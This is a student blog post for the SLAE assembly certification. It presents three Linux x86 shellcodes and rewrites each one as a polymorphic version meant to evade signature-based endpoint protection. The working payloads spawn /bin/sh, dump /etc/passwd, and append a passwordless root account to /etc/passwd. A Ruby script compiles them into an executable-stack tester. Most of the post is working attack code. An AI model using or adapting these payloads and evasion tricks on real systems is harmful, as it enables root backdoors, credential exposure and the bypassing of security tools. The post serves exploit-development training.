Shellcode Polymorphism
Objectives
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Bonus points for making it shorter in length than original
Polymorphism
It is a “concept borrowed from a principle in biology where an organism or species can have many different forms or stages” as mentioned in this Wikipedia Article
. It’s use case in exploit development is the almost the same with Shellcode Encoding assignment
and as mentioned in the objectives, to beat pattern matching. In simple way, the current code is modified to be look like gibberish but still getting the end result as the original code. Also, adding extra instructions like nops
or other that will not affect the outcome to make the shellcode look different from existing signatures of endpoint protection products.
Tiny Execve sh Shellcode
Original Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
| global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
int 0x80
|
Polymorphic Version
Explanation of each lines are added as comments in the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| global _start
section .text
_start:
mov ebx, 0xdcd2c45e ; ebx = twice the value of '/bin'
shr ebx, 0x1 ; divide ebx by 2, once
; src: https://www.felixcloutier.com/x86/sal:sar:shl:shr
xor ecx, ecx ; clear ecx
push ecx ; push NULL
push word 0x2f2f ; push '//'
mul ecx ; clear eax and edx
mov al, 0xb ; set execve
mov word [esp+2], 0x6873 ; complete the '//sh' in esp
push ebx ; push '/bin'
mov ebx, esp ; ebx = address of esp
int 0x80 ; syscall
|
Shellcode Testing
Used the Ruby script to make the compilation of the binary easier.
Tiny Read File Shellcode
Original Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| global _start
section .text
_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx, esp
int 0x80
xchg eax, ebx
xchg eax, ecx
mov al, 0x3
xor edx, edx
mov dx, 0xfff
inc edx
int 0x80
xchg eax, edx
xor eax, eax
mov al, 0x4
mov bl, 0x1
int 0x80
xchg eax, ebx
int 0x80
|
Polymorphic Version
Explanation of each lines are added as comments in the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| global _start
section .text
_start:
; clear registers
sub ebx, ebx ; clear ebx
mul ebx ; clear eax, and edx
; open('/etc//passwd', NULL)
add eax, 0x5 ; open(2)
push ebx ; push NULL
mov ebx, 0x64777364 ; preparing ebx for 'sswd'
add bl, 0xF ; ebx = 'sswd'
push ebx ; push into stack
push ebx ; push again, but will be overwritten
xor ebx, 0x5075c10 ; ebx = 'c/pa'
mov dword [esp], ebx ; overwrite the top of stack with ebx
mov dword [esp-4], 0x74652f2f ; 4 bytes above stack = '//et'
sub esp, 4 ; adjust the stack
mov ebx, esp ; ebx = current stack address
int 0x80 ; syscall open(2)
; read(fd, esp, 4095)
mov cl, 0x3 ; read(2)
xchg cl, al ; eax = 3, ecx = fd; fd is return value from open(2)
xchg ecx, ebx ; ebx = fd, ecx = <esp_address>
mov dx, 0xfff ; read up to 4095 bytes
int 0x80 ; syscall read(2)
; write(fd, esp, size);
xchg eax, edx ; edx = size read - return from read(2); eax = 4095
shr ax, 0x10 ; clear ax, 0x0fff -> 0x0000
mov bl, al ; clear bl
add al, 0x4 ; write(2)
inc bl ; stdout
int 0x80 ; syscall write(2)
; exit
xchg eax, ebx ; _exit(2)
int 0x80 ; syscall _exit(2)
|
Shellcode Testing
Used the Ruby script to make the compilation of the binary easier.
Add Root User Shellcode
Original Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| global _start
section .text
_start:
push byte +0x5
pop eax
xor ecx, ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx, esp
mov cx, 0x401
int 0x80
mov ebx, eax
push byte +0x4
pop eax
xor edx, edx
push edx
push dword 0x2f3a3a30
push dword 0x3a303a3a
push dword 0x74303072
mov ecx, esp
push byte +0xc
pop edx
int 0x80
push byte +0x6
pop eax
int 0x80
push byte +0x1
pop eax
int 0x80
|
Polymorphic Version
Explanation of each lines are added as comments in the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| global _start
section .text
_start:
; open('/etc//passwd', O_WRONLY | O_APPEND)
push byte 0x5 ; open(2)
mov eax, [esp] ; eax = 0x5
pop ecx ; ecx = 0x5
xor ecx, 0x5 ; clear ecx
push ecx ; push NULL
push ecx ; push NULL
mov dword [esp], 0x2d3ffc2d ; overwrite the recent null in stack
add dword [esp], 0x37377746 ; esp value = 'sswd'
mov ebx, dword [esp] ; ebx = 'sswd'
push ebx ; esp value = 'sswd'
xor dword [esp], 0x5075c5c ; esp value is now '//pa' after xor
sub ebx, 0x1030e44 ; ebx = '/etc'
push ebx ; esp value = '/etc'
mov ebx, esp ; ebx = esp address
inc cl ; ecx = 0x1
mov ch, 0x4 ; ecx = (00000001 | 00002000) = 0x401
; source: /usr/include/asm-generic/fcntl.h
int 0x80 ; syscall open(2)
; write(fd, esp, size);
xchg ebx, eax ; ebx = fd; eax = esp address
xchg eax, ecx ; ecx = esp address; eax = 0x401
sub ax, 0x3fd ; eax = 0x4; write(2)
xor edx, edx ; clear edx
push edx ; push NULL
mov edx, 0x4c4e5f1f ; prepare edx for '0::/'
xor edx, [esp+4] ; edx = '0::/'
push edx ; esp value = '0::/'
xor edx, 0x5954495a ; edx = 'jsnv'
mov ecx, edx ; ecx = 'jsnv'
sub edx, 0x3c3e3930 ; edx = '::0:'
push edx ; esp value = '::0:'
push ecx ; esp value = 'jsnv'
mov ecx, esp ; ecx = esp address
push byte 0xc ; size = 12
pop edx ; edx = size
int 0x80 ; syscall write(2)
; close
mov al, 0x6 ; close(2)
int 0x80 ; syscall close(2)
; exit
xor eax, eax ; clear eax
inc eax ; eax = 0x1
int 0x80 ; syscall _exit(2)
|
Shellcode Testing
Used the Ruby script to make the compilation of the binary easier.
Ruby Script
The following Ruby script is used for compiling the polymorphic version of the shellcodes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
| #!/usr/bin/env ruby
# Author: Jason Villaluna
require 'optparse'
def run
parse_args
compile_nasm(@original)
compile_nasm(@poly)
@original_shellcode = generate_shellcode(@original)
@poly_shellcode = generate_shellcode(@poly)
replace_shellcode
compile_binary
display_shellcode
rescue OptionParser::MissingArgument
puts "\e[33mMissing argument:\e[0m"
@parser.parse %w[--help]
rescue StandardError => e
puts "\e[31m[-]\e[0m Encountered: \e[31m'#{e.class}' #{e}\e[0m"
exit(1)
end
# Compile the nasm code
def compile_nasm(filename)
`nasm -f elf32 -o #{filename}.o #{filename}.nasm`
`ld -m elf_i386 -s -o #{filename} #{filename}.o`
end
# Generate shellcode using objdump
def generate_shellcode(filename)
objdump = `objdump -d #{filename}`
objdump.split("\n").map { |line| line.split("\t")[1] }
.compact.map(&:split).join('\x').prepend('\x')
end
# Replace a value inside a file
def replace_content(filename)
file_content = File.read(filename)
yield(file_content)
File.write(filename, file_content)
end
# Replace shellcode in the shellcode tester program
def replace_shellcode
replace_content('./shellcode.c') do |c_code|
c_code.gsub!(/\"\S+\"\;/, "\"#{@poly_shellcode}\"\;")
end
end
# Compile the shellcode into binary with the help of the shellcode.c program
def compile_binary
`gcc -fno-stack-protector -m32 -z execstack shellcode.c -o shellcode 2> /dev/null`
end
# print the shellcode values
def display_shellcode
original_size = @original_shellcode.split('\\').size - 1
poly_size = @poly_shellcode.split('\\').size - 1
percentage = ((100.0 * poly_size / original_size) - 100).round(2)
puts "Original shellcode [#{original_size} bytes]: '#{@original_shellcode}'"
puts "Polymorphic shellcode [#{poly_size} bytes]: '#{@poly_shellcode}'"
puts "\nPercentage larger than the original: #{percentage} %"
end
def parse_args
@parser = OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options]"
opts.separator ""
opts.separator "Options:"
opts.on("--original", "-o ORIG_NASM", "Original nasm filename") do |value|
@original = value
end
opts.on("--poly", "-p POLY_NASM", "Polymorphic nasm filename") do |value|
@poly = value
end
opts.on_tail("--help", "-h", "Print options") do |show_help|
warn opts
exit(0)
end
end
@parser.parse!
end
if __FILE__ == $PROGRAM_NAME
run
puts "\n\e[32m[+]\e[0m Successfully generated \e[32mshellcode\e[0m "\
"binary for testing!"
end
|
Script Usage
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1558
Link to Github repository
| Link to index page